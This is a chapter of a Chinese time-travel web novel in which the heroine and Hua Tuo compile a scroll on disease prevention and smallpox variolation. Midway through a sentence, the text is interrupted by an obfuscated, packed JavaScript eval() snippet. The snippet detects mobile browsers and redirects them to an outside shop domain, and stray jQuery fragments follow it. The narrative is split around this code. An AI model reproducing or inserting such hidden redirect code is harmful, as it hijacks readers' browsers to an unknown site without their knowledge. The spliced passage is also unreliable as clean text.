文趣网 > 其他小说 > 青囊新传:开局救了华佗 > 54.青囊第五卷
    那是一个冬日的傍晚。疫情最凶险的时候已经过去了,接种过的人没有一个感染,没接种的人死的死、逃的逃,活下来的也都拖家带口来求种痘。济世堂门口的长队从腊月排到了正月,排到除夕那天还有人不肯走。顾湘把家里的年货分给了排队的人,自己喝了一碗粥就当过了年。

    现在,正月将尽,寒气还没有退干净,但阳光已经变得不一样了——不是冬天那种惨白的光,而是带着一层薄薄的金色,照在人的皮肤上有一种微微的暖意。

    顾湘坐在诊室里,面前摊着五卷竹简。

    第一卷《外证治术》,第二卷《金创伤科》,第三卷《妇人婴儿病篇》,第四卷《针灸甲乙经》。四卷摞在一起,厚厚一叠,麻绳捆扎的地方磨得发亮,竹简的边缘被无数次的翻阅磨出了包浆。每一卷她都翻过无数遍,每一遍都能看到华佗的字迹里那些细微的变化——笔锋的轻重、间距的疏密、墨色的浓淡。这些变化像一个人的指纹,独一无二,不可复制。

    她在看第五卷的空白竹简。

    这一卷,她想了很久。从疫情爆发的那一天就在想,从华佗坐在院子里让她把痂皮粉末吹进鼻腔的那一天就在想,从第一批接种的五十个人安然度过反应期的那一天就在想。她想的是同一个问题:这一卷,叫什么名字?

    种痘法?防疫术?以毒攻毒论......她想了十几个名字,都写在草纸上,又都划掉了。每个名字都太窄,装不下她想写的东西。

    因为她要写的不是一种方法,而是一种思想——一种“人可以不生病”的思想。

    在东汉,没有人这样想过。在这个时代,瘟疫是鬼神降下的惩罚,是阴阳不调的产物,是命。没有人觉得人可以主动地、提前地、有计划地避免生病。

    但顾她从穿越后第一天就在告诉华佗:病是可以防的。洗手可以防产褥热,隔离可以防瘟疫,种痘可以防天花。这些事情在公元二世纪听起来像是神话,但它们不是神话。它们是科学。是还没有被命名的、被验证的、被记录下来的科学。而科学需要被写下来。

    她铺开第一卷空白的竹简,拿起毛笔。

    笔尖在砚台里蘸了墨,墨是华佗昨晚磨的,浓淡刚好。她悬腕,下笔,写了三个字:

    免疫论。

    华佗从门外走进来,站在她身后,低头看她刚写下的那三个字。

    “你看了再说好不好。”顾湘说。

    她开始写。华佗坐在对面,没有出声,就那么安静地看她写。顾湘写字的时候有一个习惯——嘴唇会微微翕动,像是在跟自己说话。华佗看着她的嘴唇,像是在读一本只有他能读到的书。

    第一篇,论因。

    顾湘写道:“疫病之生,非鬼神之罚,乃无形之毒所侵也。”

    她放下笔,对华佗说:“这句话,是这一卷的根基。你同意吗?”

    华佗想了想,说:“我在南风来之前,也觉得疫病是天谴。但南风来了之后,我看到产褥热可以用洗手来防,天花可以用种痘来防。如果疫病是天谴,人的作为应该没用。但现在有用了。”他停顿了一下,“所以,疫病不是天谴。”

    “那是什么?”

    “是病。是看不见的东西引起的病。看不见,但能传人、能杀人。”华佗的声音不大,但每个字都很重,“这个东西,你叫它‘无形之毒’。我觉得可以。”

    顾湘低下头,继续写。

    她把细菌和病毒的概念,用华佗能理解的语言一层一层地拆开、翻译、重组。她说,这种“无形之毒”极其微小,小到一万个并排放在一起,还不及一根头发丝粗。但它能在人的身体里生长、繁殖,从一个病人传到另一个人身上。它有不同的种类,有的伤肺,有的伤肠胃,有的伤皮肤。天花是其中一种,产褥热是其中一种,伤寒、痢疾、疟疾——每一种瘟疫,都有自己对应的“无形之毒”。

    她没有写“细菌”,没有写“病毒”,没有写“显微镜”。这些词在汉代没有任何意义。她写了“极细之物,目不能见,行于气中,附于器物,入于口鼻,伏于脏腑,发则为病”。

    华佗读这段的时候,手指在“行于气中”四个字上停了一下。

    “行于气中。”他重复了一遍,“所以病人呼出的气,也有毒?”

    “对。”

    “所以戴口罩有用。”

    顾湘愣了一下。她从来没有教过华佗“戴口罩”这个词。她只是在天花疫情期间,让所有接触病人的人用麻布蒙住口鼻。华佗把这个动作叫做“戴口罩”——他自创的词。

    “对。”她说,“戴口罩有用。”

    华佗点了点头,没有再说别的。但顾湘注意到他在那张纸上做了一行批注:“医者近病,当以麻布覆口鼻。”

    这一篇写完之后,顾湘让华佗看了一遍。华佗看完之后,说:“南风,你写的这些东西,够别人想一百年的。”

    第二篇,论防。

    这一篇是华佗执笔的。顾湘本来想自己写,但华佗说:“防疫的经验,是我和你一起做的。但字,我来写。”

    他写得很顺手。不是“流畅”的那种顺手,是“烂熟于心”的那种顺手。济世堂几年来的防疫经验,他已经总结过无数次了,只是在脑子里,从来没有落到纸上。现在,他像打开一个蓄满了水的闸门,让那些经验倾泻而出。

    他写道:“防病之法,首在隔离。病者与健者分室而居,不相往来。病者之衣被、碗筷、便器,皆当独用,用后以沸水煮之。”

    他写道:“次在清洁。居室通风,地面洒扫,秽物远弃。病者居室,每日以醋蒸之,或以苍术、艾叶熏之。”

    他写道:“三在消毒。医者之手,切脉前后必洗;刀具、银针,用前必以火烧或以酒浸;布巾、麻线,用前必以沸水煮。”

    他写道:“四在种痘。此法另篇详述。”

    顾湘看他写这些的时候,心里有一种奇怪的感觉:这些用血和命换来的经验,本来就属于这本《青囊书》。它们只是等了很久,等到了一个能写它们的人。

    华佗写完之后,搁下笔,从头到尾读了一遍。读完之后,他沉默了很久。

    “南风,”他说,“如果我十八岁的时候就有这些,我能多救多少人?”

    顾湘看着他。他的眼神里没有遗憾,只有一种平静的、像秋天的湖水一样的反思。他在问一个不需要回答的问题,因为答案他知道。

    “不重要。”顾湘说,“重要的是,现在有了。以后的人,不需要再从零开始了。”

    第三篇,论种痘。

    这一篇是顾湘和华佗合写的。顾湘口述,华佗执笔。顾湘把种痘的每一个步骤都说得极其详细,详细到华佗都觉得有些多余。

    “选痂皮——选天花病人水疱干后结成的痂皮。要选完整的、干燥的、没有发霉变黑的。颜色以灰褐色为佳,质地脆而不碎。”

    “研磨——用干净的石臼或陶碗,将痂皮磨成极细的粉末。磨到‘如烟如尘’,放在纸上吹一口气,粉末应如轻烟般飘散。”

    “存粉——磨好的痘粉放在干燥的瓷瓶或陶罐中,以蜡封口,置于阴凉干燥处。痘粉可保存数月,但越新鲜越好。”

    “吹鼻——用细竹管一支,一端蘸痘粉,轻轻吹入接种者鼻腔深处。吹时用力要均匀,不可过猛,以免粉末入肺;不可过轻,以免粉末不达。”

    “观察——接种后三日之内,当有发热、头痛、倦怠等症。五至七日,当有皮疹出现,多为稀疏水疱,分布于面、颈、上肢。十至十四日,结痂脱落,终身免疫。”

    “救治——若接种后高热不退、皮疹密布、神昏谵语,为重症反应。当以清热解毒之药救治,多饮糖盐水,降温,静卧。重症者虽险,然十之八九可愈。”

    华佗写到“十之八九可愈”的时候,笔停了一下。

    “会不会写高了?”他问。

    “不高。”顾湘说,“我们做的几百例里,重症三个,全部活了。十成十。”

    华佗看了她一眼,那一眼里有话,但他没有说,继续写。

    写完之后,顾湘把竹简拿过来,从头到尾看了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661455|206703||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    遍。她看得比平时更慢,每一个字都像是在检查。不是不信任华佗,而是这些东西太重要了。一个字写错,后人照着做了,可能就会死人。

    她看到“吹时用力要均匀,不可过猛”这一句时,拿起笔在“不可过猛”后面加了四个字:“宁可稍轻。”

    华佗看后,说:“对。轻了没反应可以再种一次,重了出事就来不及了。”

    顾湘把竹简放回去,长长地呼出一口气。

    三篇,写完了。

    华佗在卷末加了一段话。

    他写卷末语的时候,顾湘坐在旁边。她看见他铺开一张新的纸——不是竹简,是纸。上好的麻纸,细白如雪,是华佗特意留着的,一直舍不得用。他把纸铺在案几上,用手掌抚平纸面,一下,两下,三下,像在抚摸一个孩子的头。

    然后他拿起笔,蘸满墨写道:

    “天花之害,甚于刀兵。吾与南风穷数月之力,试种痘法于千人,得免疫之法。此法看似凶险,实则安全。愿后世医者勿以‘以毒攻毒’为讳,广传此法,使天下再无天花之苦。”

    他写到“使天下再无天花之苦”的时候,笔尖在“无”字上顿了一下。那个“无”字写得格外大,格外用力,墨迹浓得几乎要洇出纸外。然后他搁下笔,靠在椅背上,长长地呼出一口气。

    顾湘把那张纸拿过来,读了一遍。

    读到“使天下再无天花之苦”的时候,她的视线模糊了。

    不是因为这句话写得有多好,而是因为她知道这句话的分量。她知道,在那个遥远的、她来自的未来,这句话已经实现了。1980年,世界卫生组织宣布天花被彻底根除。地球上最后一个自然感染的天花病例发生在1977年的索马里。从那以后,没有任何一个新生儿需要再接种天花疫苗,没有任何一个母亲需要再担心自己的孩子会死于天花。

    一个存在了至少三千年的疾病,被消灭了。

    而被消灭的方式,就是从人痘接种开始的。从东汉的某个无名医者开始的,从华佗和顾湘在济世堂的院子里把痂皮粉末吹进鼻腔的那一刻开始的。

    “华佗,”她的声音有点抖,“有一天,这个世界上会没有天花。”

    华佗看着她。他的目光里没有震惊,没有怀疑,只有一种很深的、很安静的专注。他在听,在认真地听。

    “你那个时代?”

    “对。我那个时代,已经没有天花了。”

    顾湘说这句话的时候,声音不大,但她觉得整个屋子都安静了。窗外的风、院子里的鸡、远处谁家孩子的哭声——所有声音都像被什么力量按住了,停了那么一两秒。然后一切又恢复了,风继续吹,鸡继续叫,孩子继续哭。

    但有什么东西不一样了。

    华佗沉默了很长时间。

    他沉默的时候,手指在案几上轻轻地叩着。叩得很慢,一下,两下,三下——像心跳,像钟摆,像时间本身在走动。顾湘看着他,没有催他。她知道他在消化一个巨大的事实——不是“天花可以被消灭”,而是“我的时代和她的时代之间,有一条路”。

    过了很久,华佗开口了。

    他说了一句让顾湘永生难忘的话。

    “你那个时代,是从我们这里开始的。”

    顾湘的眼泪终于掉了下来,她放下手里的纸,走过去,抱住华佗,把脸埋在他的胸口。

    华佗没有说话,只是伸出手,轻轻地拍了拍她的背。那几下拍得很轻,像在安抚一个做了噩梦的孩子。

    那天晚上,顾湘在日记里写道:

    “《青囊书》第五卷完成了。名字叫《免疫论》。华佗在卷末写:‘使天下再无天花之苦。’他不知道,这句话,一千八百年后会成真。”

    她想起了一千八百年后的那个世界。白墙,无影灯,消毒衣,疫苗冰箱里一排排整齐的玻璃瓶。那些瓶子上贴着标签——天花疫苗、麻疹疫苗、乙肝疫苗、卡介苗。每一个标签背后,都是无数人的命。

    她忽然觉得,她和那些标签之间,并没有隔着那么远的距离。